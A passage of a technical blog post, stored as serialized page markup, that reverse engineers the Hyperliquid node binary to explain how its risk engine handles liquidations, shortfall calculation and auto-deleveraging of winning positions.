trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":158943,"width":158944,"height":158945},"/posts/hyperliquid-risk-engine/title.png",1456,816,[158947,158948,158949],"hyperliquid","reverse-engineering","defi",{"type":20,"children":158951,"toc":165560},[158952,158958,158966,158971,158976,158981,158993,158998,159011,159030,159036,159048,159060,159065,159096,159101,159114,159119,159310,159316,159321,159333,159339,159344,159350,159363,159397,159402,159407,159419,159425,159445,159453,159466,159472,159483,159489,159501,159506,159512,159532,159540,159546,159580,159584,159620,159625,159630,159635,159648,159685,159690,159704,159710,159715,159741,159749,159754,159782,159787,159792,160130,160135,160140,160160,160187,160192,160205,160217,160222,160227,160233,160238,160243,160257,160262,160268,160296,160333,160344,160348,160353,160358,160364,160530,160565,160570,160576,160582,160771,160784,160789,160795,160816,160821,160827,160832,160837,160849,160854,160859,160865,160870,160875,160881,160887,160900,160933,160938,163514,163782,163787,165117,165122,165127,165139,165230,165242,165247,165253,165258,165266,165271,165279,165285,165319,165330,165338,165344,165350,165355,165363,165368,165373,165381,165393,165399,165404,165410,165421,165426,165432,165437,165442,165448,165453,165456,165461,165466,165472,165477,165489,165494,165499],{"type":23,"tag":47,"props":158953,"children":158955},{"id":158954},"perpetuals",[158956],{"type":28,"value":158957},"Perpetuals",{"type":23,"tag":3036,"props":158959,"children":158960},{},[158961],{"type":23,"tag":24,"props":158962,"children":158963},{},[158964],{"type":28,"value":158965},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":23,"tag":24,"props":158967,"children":158968},{},[158969],{"type":28,"value":158970},"What does that even have to do with reverse engineering?",{"type":23,"tag":47,"props":158972,"children":158973},{"id":158947},[158974],{"type":28,"value":158975},"Hyperliquid",{"type":23,"tag":24,"props":158977,"children":158978},{},[158979],{"type":28,"value":158980},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":23,"tag":24,"props":158982,"children":158983},{},[158984,158986,158991],{"type":28,"value":158985},"The node is tasked with a ",{"type":23,"tag":87,"props":158987,"children":158988},{},[158989],{"type":28,"value":158990},"very hard problem",{"type":28,"value":158992},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":23,"tag":24,"props":158994,"children":158995},{},[158996],{"type":28,"value":158997},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":23,"tag":24,"props":158999,"children":159000},{},[159001,159003,159009],{"type":28,"value":159002},"Beyond that, the ",{"type":23,"tag":209,"props":159004,"children":159006},{"className":159005},[],[159007],{"type":28,"value":159008},"hl-node",{"type":28,"value":159010}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":23,"tag":24,"props":159012,"children":159013},{},[159014,159016,159021,159023,159028],{"type":28,"value":159015},"Armed with some curiosity, a good amount of ",{"type":23,"tag":87,"props":159017,"children":159018},{},[159019],{"type":28,"value":159020},"inference",{"type":28,"value":159022},", and the right tooling, we'll take a deep dive using an ",{"type":23,"tag":87,"props":159024,"children":159025},{},[159026],{"type":28,"value":159027},"interactive interface",{"type":28,"value":159029},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":23,"tag":47,"props":159031,"children":159033},{"id":159032},"the-million-dollar-question",[159034],{"type":28,"value":159035},"The Million Dollar Question",{"type":23,"tag":24,"props":159037,"children":159038},{},[159039,159041,159046],{"type":28,"value":159040},"Let's say a terrible trader opens a ",{"type":23,"tag":87,"props":159042,"children":159043},{},[159044],{"type":28,"value":159045},"50x",{"type":28,"value":159047}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":23,"tag":24,"props":159049,"children":159050},{},[159051,159053,159059],{"type":28,"value":159052},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":23,"tag":209,"props":159054,"children":159056},{"className":159055},[],[159057],{"type":28,"value":159058},"compute_margin_requirement_by_mode",{"type":28,"value":775},{"type":23,"tag":24,"props":159061,"children":159062},{},[159063],{"type":28,"value":159064},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":23,"tag":159066,"props":159067,"children":159068},"tip",{},[159069],{"type":23,"tag":24,"props":159070,"children":159071},{},[159072,159074,159079,159081,159088,159090,159095],{"type":28,"value":159073},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":23,"tag":87,"props":159075,"children":159076},{},[159077],{"type":28,"value":159078},"click through",{"type":28,"value":159080}," each action performed by ",{"type":23,"tag":36,"props":159082,"children":159085},{"href":159083,"rel":159084},"https://github.com/renato-osec/patina-research",[40],[159086],{"type":28,"value":159087},"our Rust reverse engineering agent",{"type":28,"value":159089},". Return to the regular view by clicking ",{"type":23,"tag":209,"props":159091,"children":159093},{"className":159092},[],[159094],{"type":28,"value":6079},{"type":28,"value":124},{"type":23,"tag":159097,"props":159098,"children":159100},"bndb-viewer-embed",{"addr":159099,"line-start":4106,"line-end":134606},"0x555556bb4d20",[],{"type":23,"tag":24,"props":159102,"children":159103},{},[159104,159106,159112],{"type":28,"value":159105},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":23,"tag":209,"props":159107,"children":159109},{"className":159108},[],[159110],{"type":28,"value":159111},"OptionUnitQty",{"type":28,"value":159113},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":23,"tag":24,"props":159115,"children":159116},{},[159117],{"type":28,"value":159118},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":23,"tag":202,"props":159120,"children":159121},{},[159122],{"type":23,"tag":209,"props":159123,"children":159126},{"className":159124},[4076,159125],"math-display",[159127],{"type":23,"tag":213,"props":159128,"children":159131},{"className":159129},[159130],"katex-display",[159132],{"type":23,"tag":213,"props":159133,"children":159135},{"className":159134},[4082],[159136],{"type":23,"tag":213,"props":159137,"children":159139},{"className":159138,"ariaHidden":1710},[4087],[159140,159171],{"type":23,"tag":213,"props":159141,"children":159143},{"className":159142},[4092],[159144,159148,159158,159162,159167],{"type":23,"tag":213,"props":159145,"children":159147},{"className":159146,"style":94513},[4097],[],{"type":23,"tag":213,"props":159149,"children":159151},{"className":159150},[4103,28],[159152],{"type":23,"tag":213,"props":159153,"children":159155},{"className":159154},[4103],[159156],{"type":28,"value":159157},"liq_equity",{"type":23,"tag":213,"props":159159,"children":159161},{"className":159160,"style":4282},[4184],[],{"type":23,"tag":213,"props":159163,"children":159165},{"className":159164},[4287],[159166],{"type":28,"value":3190},{"type":23,"tag":213,"props":159168,"children":159170},{"className":159169,"style":4282},[4184],[],{"type":23,"tag":213,"props":159172,"children":159174},{"className":159173},[4092],[159175,159180],{"type":23,"tag":213,"props":159176,"children":159179},{"className":159177,"style":159178},[4097],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":23,"tag":213,"props":159181,"children":159183},{"className":159182},[4103],[159184,159188,159306],{"type":23,"tag":213,"props":159185,"children":159187},{"className":159186},[21766,113618],[],{"type":23,"tag":213,"props":159189,"children":159191},{"className":159190},[113623],[159192],{"type":23,"tag":213,"props":159193,"children":159195},{"className":159194},[4125,21691],[159196,159294],{"type":23,"tag":213,"props":159197,"children":159199},{"className":159198},[4130],[159200,159289],{"type":23,"tag":213,"props":159201,"children":159204},{"className":159202,"style":159203},[4135],"height:1.427em;",[159205,159245,159256],{"type":23,"tag":213,"props":159206,"children":159208},{"style":159207},"top:-2.314em;",[159209,159213],{"type":23,"tag":213,"props":159210,"children":159212},{"className":159211,"style":112271},[4144],[],{"type":23,"tag":213,"props":159214,"children":159216},{"className":159215},[4103],[159217,159222,159226,159231,159235],{"type":23,"tag":213,"props":159218,"children":159220},{"className":159219},[4103],[159221],{"type":28,"value":3221},{"type":23,"tag":213,"props":159223,"children":159225},{"className":159224,"style":4185},[4184],[],{"type":23,"tag":213,"props":159227,"children":159229},{"className":159228},[4190],[159230],{"type":28,"value":111362},{"type":23,"tag":213,"props":159232,"children":159234},{"className":159233,"style":4185},[4184],[],{"type":23,"tag":213,"props":159236,"children":159238},{"className":159237},[4103,28],[159239],{"type":23,"tag":213,"props":159240,"children":159242},{"className":159241},[4103],[159243],{"type":28,"value":159244},"leverage",{"type":23,"tag":213,"props":159246,"children":159247},{"style":113673},[159248,159252],{"type":23,"tag":213,"props":159249,"children":159251},{"className":159250,"style":112271},[4144],[],{"type":23,"tag":213,"props":159253,"children":159255},{"className":159254,"style":113683},[113682],[],{"type":23,"tag":213,"props":159257,"children":159259},{"style":159258},"top:-3.677em;",[159260,159264],{"type":23,"tag":213,"props":159261,"children":159263},{"className":159262,"style":112271},[4144],[],{"type":23,"tag":213,"props":159265,"children":159267},{"className":159266},[4103],[159268,159274,159284],{"type":23,"tag":213,"props":159269,"children":159271},{"className":159270},[4103],[159272],{"type":28,"value":159273},"∣",{"type":23,"tag":213,"props":159275,"children":159277},{"className":159276},[4103,28],[159278],{"type":23,"tag":213,"props":159279,"children":159281},{"className":159280},[4103],[159282],{"type":28,"value":159283},"notional",{"type":23,"tag":213,"props":159285,"children":159287},{"className":159286},[4103],[159288],{"type":28,"value":159273},{"type":23,"tag":213,"props":159290,"children":159292},{"className":159291},[21794],[159293],{"type":28,"value":21797},{"type":23,"tag":213,"props":159295,"children":159297},{"className":159296},[4130],[159298],{"type":23,"tag":213,"props":159299,"children":159302},{"className":159300,"style":159301},[4135],"height:0.8804em;",[159303],{"type":23,"tag":213,"props":159304,"children":159305},{},[],{"type":23,"tag":213,"props":159307,"children":159309},{"className":159308},[21788,113618],[],{"type":23,"tag":47,"props":159311,"children":159313},{"id":159312},"what-if-nobody-wants-to-buy-the-position",[159314],{"type":28,"value":159315},"What If Nobody Wants to Buy the Position?",{"type":23,"tag":24,"props":159317,"children":159318},{},[159319],{"type":28,"value":159320},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":23,"tag":24,"props":159322,"children":159323},{},[159324,159326,159331],{"type":28,"value":159325},"When that happens, the exchange is basically left with a ",{"type":23,"tag":87,"props":159327,"children":159328},{},[159329],{"type":28,"value":159330},"hot potato",{"type":28,"value":159332}," to get rid of: what should it even do with the debt?",{"type":23,"tag":35430,"props":159334,"children":159336},{"id":159335},"the-risk-engine",[159337],{"type":28,"value":159338},"The Risk Engine",{"type":23,"tag":24,"props":159340,"children":159341},{},[159342],{"type":28,"value":159343},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":23,"tag":47,"props":159345,"children":159347},{"id":159346},"clearing-up-bad-debt",[159348],{"type":28,"value":159349},"Clearing Up Bad Debt",{"type":23,"tag":24,"props":159351,"children":159352},{},[159353,159354,159361],{"type":28,"value":2623},{"type":23,"tag":36,"props":159355,"children":159358},{"href":159356,"rel":159357},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[40],[159359],{"type":28,"value":159360},"Hyperliquid docs",{"type":28,"value":159362}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":23,"tag":24,"props":159364,"children":159365},{},[159366,159368,159379,159381,159387,159389,159395],{"type":28,"value":159367},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":23,"tag":36,"props":159369,"children":159372},{"href":159370,"rel":159371},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[40],[159373],{"type":23,"tag":209,"props":159374,"children":159376},{"className":159375},[],[159377],{"type":28,"value":159378},"Clearinghouse",{"type":28,"value":159380},", a struct containing all liquidation-related info, nested within a bigger ",{"type":23,"tag":209,"props":159382,"children":159384},{"className":159383},[],[159385],{"type":28,"value":159386},"Exchange",{"type":28,"value":159388}," data structure. This is an example of what it might hold when serialized as ",{"type":23,"tag":209,"props":159390,"children":159392},{"className":159391},[],[159393],{"type":28,"value":159394},"MessagePack",{"type":28,"value":159396}," at runtime.",{"type":23,"tag":24,"props":159398,"children":159399},{},[159400],{"type":28,"value":159401},"This data will come in handy both for us and the agent.",{"type":23,"tag":159403,"props":159404,"children":159406},"file-download",{"path":159405},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":23,"tag":24,"props":159408,"children":159409},{},[159410,159412,159417],{"type":28,"value":159411},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":23,"tag":209,"props":159413,"children":159415},{"className":159414},[],[159416],{"type":28,"value":159378},{"type":28,"value":159418},". Some renaming later, we can infer something like this:",{"type":23,"tag":159097,"props":159420,"children":159424},{"source":159421,"target":159422,"direction":159423},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":23,"tag":24,"props":159426,"children":159427},{},[159428,159430,159435,159437,159443],{"type":28,"value":159429},"We have one huge function handling all clearinghouse operations, which we call ",{"type":23,"tag":209,"props":159431,"children":159433},{"className":159432},[],[159434],{"type":28,"value":159422},{"type":28,"value":159436},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":23,"tag":209,"props":159438,"children":159440},{"className":159439},[],[159441],{"type":28,"value":159442},"exchange_end_block",{"type":28,"value":159444},". So, at the end of each block we run some checks.",{"type":23,"tag":159066,"props":159446,"children":159447},{},[159448],{"type":23,"tag":24,"props":159449,"children":159450},{},[159451],{"type":28,"value":159452},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":23,"tag":24,"props":159454,"children":159455},{},[159456,159458,159464],{"type":28,"value":159457},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":23,"tag":209,"props":159459,"children":159461},{"className":159460},[],[159462],{"type":28,"value":159463},"clearinghouse.perform_auto_deleveraging",{"type":28,"value":159465}," flag.",{"type":23,"tag":159097,"props":159467,"children":159471},{"addr":159468,"line-start":159469,"line-end":159470},"0x555556ac3850","3290","3301",[],{"type":23,"tag":24,"props":159473,"children":159474},{},[159475,159477,159482],{"type":28,"value":159476},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":23,"tag":209,"props":159478,"children":159480},{"className":159479},[],[159481],{"type":28,"value":159378},{"type":28,"value":2126},{"type":23,"tag":9693,"props":159484,"children":159486},{"id":159485},"threshold-condition",[159487],{"type":28,"value":159488},"Threshold Condition",{"type":23,"tag":24,"props":159490,"children":159491},{},[159492,159494,159499],{"type":28,"value":159493},"The natural connection between liquidations and ADL is ",{"type":23,"tag":87,"props":159495,"children":159496},{},[159497],{"type":28,"value":159498},"shortfall",{"type":28,"value":159500},": by how much a position, or the entire system (!), is underwater.",{"type":23,"tag":24,"props":159502,"children":159503},{},[159504],{"type":28,"value":159505},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":23,"tag":18945,"props":159507,"children":159509},{"id":159508},"who-is-underwater",[159510],{"type":28,"value":159511},"Who Is Underwater?",{"type":23,"tag":24,"props":159513,"children":159514},{},[159515,159517,159522,159524,159530],{"type":28,"value":159516},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":23,"tag":209,"props":159518,"children":159520},{"className":159519},[],[159521],{"type":28,"value":159422},{"type":28,"value":159523},", starting from all user positions, which are stored in ",{"type":23,"tag":209,"props":159525,"children":159527},{"className":159526},[],[159528],{"type":28,"value":159529},"clearinghouse.user_states",{"type":28,"value":159531},", as we can also see from the serialization.",{"type":23,"tag":159066,"props":159533,"children":159534},{},[159535],{"type":23,"tag":24,"props":159536,"children":159537},{},[159538],{"type":28,"value":159539},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":23,"tag":159097,"props":159541,"children":159545},{"source":159542,"target":159442,"direction":159543,"path":159544},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":23,"tag":24,"props":159547,"children":159548},{},[159549,159550,159555,159557,159563,159565,159571,159573,159579],{"type":28,"value":2623},{"type":23,"tag":209,"props":159551,"children":159553},{"className":159552},[],[159554],{"type":28,"value":159542},{"type":28,"value":159556}," essentially turns that into an ",{"type":23,"tag":209,"props":159558,"children":159560},{"className":159559},[],[159561],{"type":28,"value":159562},"Iter",{"type":28,"value":159564},", then, inside of ",{"type":23,"tag":209,"props":159566,"children":159568},{"className":159567},[],[159569],{"type":28,"value":159570},"build_adl_candidate_set",{"type":28,"value":159572}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":23,"tag":209,"props":159574,"children":159576},{"className":159575},[],[159577],{"type":28,"value":159578},"AdlIterEntry",{"type":28,"value":58379},{"type":23,"tag":159097,"props":159581,"children":159583},{"type-name":159582},"AdlIterContext",[],{"type":23,"tag":24,"props":159585,"children":159586},{},[159587,159589,159595,159597,159603,159605,159611,159613,159618],{"type":28,"value":159588},"Note that in storage, ",{"type":23,"tag":209,"props":159590,"children":159592},{"className":159591},[],[159593],{"type":28,"value":159594},"Isolated",{"type":28,"value":159596}," positions have their own independent ",{"type":23,"tag":209,"props":159598,"children":159600},{"className":159599},[],[159601],{"type":28,"value":159602},"Entry",{"type":28,"value":159604}," in the position iterators, and ",{"type":23,"tag":209,"props":159606,"children":159608},{"className":159607},[],[159609],{"type":28,"value":159610},"Cross",{"type":28,"value":159612}," positions have a single common ",{"type":23,"tag":209,"props":159614,"children":159616},{"className":159615},[],[159617],{"type":28,"value":159602},{"type":28,"value":159619},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":23,"tag":159097,"props":159621,"children":159624},{"addr":159622,"line-start":44304,"line-end":159623},"0x555556266b10","163",[],{"type":23,"tag":24,"props":159626,"children":159627},{},[159628],{"type":28,"value":159629},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":23,"tag":159097,"props":159631,"children":159634},{"addr":159468,"line-start":159632,"line-end":159633},"506","527",[],{"type":23,"tag":24,"props":159636,"children":159637},{},[159638,159640],{"type":28,"value":159639},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":23,"tag":159641,"props":159642,"children":159645},"bndb-xref",{"lines":159643,"addrs":159644},"1-2","0x555556ac3e18-0x555556ac3e18",[159646],{"type":28,"value":159647},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":23,"tag":24,"props":159649,"children":159650},{},[159651,159653,159659,159661,159667,159669,159675,159677,159683],{"type":28,"value":159652},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":23,"tag":209,"props":159654,"children":159656},{"className":159655},[],[159657],{"type":28,"value":159658},"only_isolated",{"type":28,"value":159660}," (or ",{"type":23,"tag":209,"props":159662,"children":159664},{"className":159663},[],[159665],{"type":28,"value":159666},"strict_isolated",{"type":28,"value":159668}," in MessagePack dumps) are added to a separate queue, ",{"type":23,"tag":209,"props":159670,"children":159672},{"className":159671},[],[159673],{"type":28,"value":159674},"deferred_queue",{"type":28,"value":159676},", which triggers ADL regardless of the system's ",{"type":23,"tag":209,"props":159678,"children":159680},{"className":159679},[],[159681],{"type":28,"value":159682},"total_shortfall",{"type":28,"value":159684},". This is dictated by this branch.",{"type":23,"tag":159097,"props":159686,"children":159689},{"addr":159468,"line-start":159687,"line-end":159688},"211","243",[],{"type":23,"tag":24,"props":159691,"children":159692},{},[159693,159695,159702],{"type":28,"value":159694},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":23,"tag":36,"props":159696,"children":159699},{"href":159697,"rel":159698},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[40],[159700],{"type":28,"value":159701},"March 2025 incident",{"type":28,"value":159703},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":23,"tag":18945,"props":159705,"children":159707},{"id":159706},"how-do-we-get-rid-of-debt",[159708],{"type":28,"value":159709},"How Do We Get Rid of Debt?",{"type":23,"tag":24,"props":159711,"children":159712},{},[159713],{"type":28,"value":159714},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":23,"tag":24,"props":159716,"children":159717},{},[159718,159720,159725,159727,159732,159734,159739],{"type":28,"value":159719},"Thus, if the debt is insurmountable, the ",{"type":23,"tag":209,"props":159721,"children":159723},{"className":159722},[],[159724],{"type":28,"value":159674},{"type":28,"value":159726}," is overwritten by all the users marked by ",{"type":23,"tag":209,"props":159728,"children":159730},{"className":159729},[],[159731],{"type":28,"value":159570},{"type":28,"value":159733},", otherwise we keep it and only holders of underwater ",{"type":23,"tag":209,"props":159735,"children":159737},{"className":159736},[],[159738],{"type":28,"value":159666},{"type":28,"value":159740}," positions from the earlier loop are considered for ADL.",{"type":23,"tag":159066,"props":159742,"children":159743},{},[159744],{"type":23,"tag":24,"props":159745,"children":159746},{},[159747],{"type":28,"value":159748},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":23,"tag":159097,"props":159750,"children":159753},{"addr":159468,"line-start":159751,"line-end":159752},"523","526",[],{"type":23,"tag":24,"props":159755,"children":159756},{},[159757,159759,159765,159767,159773,159775,159780],{"type":28,"value":159758},"For each underwater position, we do a ",{"type":23,"tag":159641,"props":159760,"children":159762},{"addrs":159761},"0x555556ac42ad-0x555556ac42be",[159763],{"type":28,"value":159764},"B-tree lookup",{"type":28,"value":159766}," on ",{"type":23,"tag":209,"props":159768,"children":159770},{"className":159769},[],[159771],{"type":28,"value":159772},"clearinghouse.user_states[position.user]",{"type":28,"value":159774},", adding them to a ",{"type":23,"tag":209,"props":159776,"children":159778},{"className":159777},[],[159779],{"type":28,"value":429},{"type":28,"value":159781}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":23,"tag":159097,"props":159783,"children":159786},{"addr":159468,"line-start":159784,"line-end":159785},"635","658",[],{"type":23,"tag":24,"props":159788,"children":159789},{},[159790],{"type":28,"value":159791},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":23,"tag":202,"props":159793,"children":159794},{},[159795],{"type":23,"tag":209,"props":159796,"children":159798},{"className":159797},[4076,159125],[159799],{"type":23,"tag":213,"props":159800,"children":159802},{"className":159801},[159130],[159803],{"type":23,"tag":213,"props":159804,"children":159806},{"className":159805},[4082],[159807],{"type":23,"tag":213,"props":159808,"children":159810},{"className":159809,"ariaHidden":1710},[4087],[159811],{"type":23,"tag":213,"props":159812,"children":159814},{"className":159813},[4092],[159815,159820],{"type":23,"tag":213,"props":159816,"children":159819},{"className":159817,"style":159818},[4097],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":23,"tag":213,"props":159821,"children":159823},{"className":159822},[4103],[159824],{"type":23,"tag":213,"props":159825,"children":159828},{"className":159826},[159827],"mtable",[159829,159909],{"type":23,"tag":213,"props":159830,"children":159833},{"className":159831},[159832],"col-align-r",[159834],{"type":23,"tag":213,"props":159835,"children":159837},{"className":159836},[4125,21691],[159838,159897],{"type":23,"tag":213,"props":159839,"children":159841},{"className":159840},[4130],[159842,159892],{"type":23,"tag":213,"props":159843,"children":159846},{"className":159844,"style":159845},[4135],"height:2.3452em;",[159847,159870],{"type":23,"tag":213,"props":159848,"children":159850},{"style":159849},"top:-4.3452em;",[159851,159856],{"type":23,"tag":213,"props":159852,"children":159855},{"className":159853,"style":159854},[4144],"height:3.3944em;",[],{"type":23,"tag":213,"props":159857,"children":159859},{"className":159858},[4103],[159860],{"type":23,"tag":213,"props":159861,"children":159863},{"className":159862},[4103,28],[159864],{"type":23,"tag":213,"props":159865,"children":159867},{"className":159866},[4103],[159868],{"type":28,"value":159869},"position_weight",{"type":23,"tag":213,"props":159871,"children":159873},{"style":159872},"top:-2.2092em;",[159874,159878],{"type":23,"tag":213,"props":159875,"children":159877},{"className":159876,"style":159854},[4144],[],{"type":23,"tag":213,"props":159879,"children":159881},{"className":159880},[4103],[159882],{"type":23,"tag":213,"props":159883,"children":159885},{"className":159884},[4103,28],[159886],{"type":23,"tag":213,"props":159887,"children":159889},{"className":159888},[4103],[159890],{"type":28,"value":159891},"position_adl_amount",{"type":23,"tag":213,"props":159893,"children":159895},{"className":159894},[21794],[159896],{"type":28,"value":21797},{"type":23,"tag":213,"props":159898,"children":159900},{"className":159899},[4130],[159901],{"type":23,"tag":213,"props":159902,"children":159905},{"className":159903,"style":159904},[4135],"height:1.8452em;",[159906],{"type":23,"tag":213,"props":159907,"children":159908},{},[],{"type":23,"tag":213,"props":159910,"children":159913},{"className":159911},[159912],"col-align-l",[159914],{"type":23,"tag":213,"props":159915,"children":159917},{"className":159916},[4125,21691],[159918,160119],{"type":23,"tag":213,"props":159919,"children":159921},{"className":159920},[4130],[159922,160114],{"type":23,"tag":213,"props":159923,"children":159925},{"className":159924,"style":159845},[4135],[159926,160054],{"type":23,"tag":213,"props":159927,"children":159928},{"style":159849},[159929,159933],{"type":23,"tag":213,"props":159930,"children":159932},{"className":159931,"style":159854},[4144],[],{"type":23,"tag":213,"props":159934,"children":159936},{"className":159935},[4103],[159937,159941,159945,159950,159954],{"type":23,"tag":213,"props":159938,"children":159940},{"className":159939},[4103],[],{"type":23,"tag":213,"props":159942,"children":159944},{"className":159943,"style":4282},[4184],[],{"type":23,"tag":213,"props":159946,"children":159948},{"className":159947},[4287],[159949],{"type":28,"value":3190},{"type":23,"tag":213,"props":159951,"children":159953},{"className":159952,"style":4282},[4184],[],{"type":23,"tag":213,"props":159955,"children":159957},{"className":159956},[4103],[159958,159962,160050],{"type":23,"tag":213,"props":159959,"children":159961},{"className":159960},[21766,113618],[],{"type":23,"tag":213,"props":159963,"children":159965},{"className":159964},[113623],[159966],{"type":23,"tag":213,"props":159967,"children":159969},{"className":159968},[4125,21691],[159970,160038],{"type":23,"tag":213,"props":159971,"children":159973},{"className":159972},[4130],[159974,160033],{"type":23,"tag":213,"props":159975,"children":159978},{"className":159976,"style":159977},[4135],"height:1.3944em;",[159979,160000,160011],{"type":23,"tag":213,"props":159980,"children":159981},{"style":159207},[159982,159986],{"type":23,"tag":213,"props":159983,"children":159985},{"className":159984,"style":112271},[4144],[],{"type":23,"tag":213,"props":159987,"children":159989},{"className":159988},[4103],[159990],{"type":23,"tag":213,"props":159991,"children":159993},{"className":159992},[4103,28],[159994],{"type":23,"tag":213,"props":159995,"children":159997},{"className":159996},[4103],[159998],{"type":28,"value":159999},"total_cross_notional",{"type":23,"tag":213,"props":160001,"children":160002},{"style":113673},[160003,160007],{"type":23,"tag":213,"props":160004,"children":160006},{"className":160005,"style":112271},[4144],[],{"type":23,"tag":213,"props":160008,"children":160010},{"className":160009,"style":113683},[113682],[],{"type":23,"tag":213,"props":160012,"children":160014},{"style":160013},"top:-3.7em;",[160015,160019],{"type":23,"tag":213,"props":160016,"children":160018},{"className":160017,"style":112271},[4144],[],{"type":23,"tag":213,"props":160020,"children":160022},{"className":160021},[4103],[160023],{"type":23,"tag":213,"props":160024,"children":160026},{"className":160025},[4103,28],[160027],{"type":23,"tag":213,"props":160028,"children":160030},{"className":160029},[4103],[160031],{"type":28,"value":160032},"position_notional",{"type":23,"tag":213,"props":160034,"children":160036},{"className":160035},[21794],[160037],{"type":28,"value":21797},{"type":23,"tag":213,"props":160039,"children":160041},{"className":160040},[4130],[160042],{"type":23,"tag":213,"props":160043,"children":160046},{"className":160044,"style":160045},[4135],"height:0.996em;",[160047],{"type":23,"tag":213,"props":160048,"children":160049},{},[],{"type":23,"tag":213,"props":160051,"children":160053},{"className":160052},[21788,113618],[],{"type":23,"tag":213,"props":160055,"children":160056},{"style":159872},[160057,160061],{"type":23,"tag":213,"props":160058,"children":160060},{"className":160059,"style":159854},[4144],[],{"type":23,"tag":213,"props":160062,"children":160064},{"className":160063},[4103],[160065,160069,160073,160078,160082,160092,160096,160101,160105],{"type":23,"tag":213,"props":160066,"children":160068},{"className":160067},[4103],[],{"type":23,"tag":213,"props":160070,"children":160072},{"className":160071,"style":4282},[4184],[],{"type":23,"tag":213,"props":160074,"children":160076},{"className":160075},[4287],[160077],{"type":28,"value":3190},{"type":23,"tag":213,"props":160079,"children":160081},{"className":160080,"style":4282},[4184],[],{"type":23,"tag":213,"props":160083,"children":160085},{"className":160084},[4103,28],[160086],{"type":23,"tag":213,"props":160087,"children":160089},{"className":160088},[4103],[160090],{"type":28,"value":160091},"user_shortfall",{"type":23,"tag":213,"props":160093,"children":160095},{"className":160094,"style":4185},[4184],[],{"type":23,"tag":213,"props":160097,"children":160099},{"className":160098},[4190],[160100],{"type":28,"value":111362},{"type":23,"tag":213,"props":160102,"children":160104},{"className":160103,"style":4185},[4184],[],{"type":23,"tag":213,"props":160106,"children":160108},{"className":160107},[4103,28],[160109],{"type":23,"tag":213,"props":160110,"children":160112},{"className":160111},[4103],[160113],{"type":28,"value":159869},{"type":23,"tag":213,"p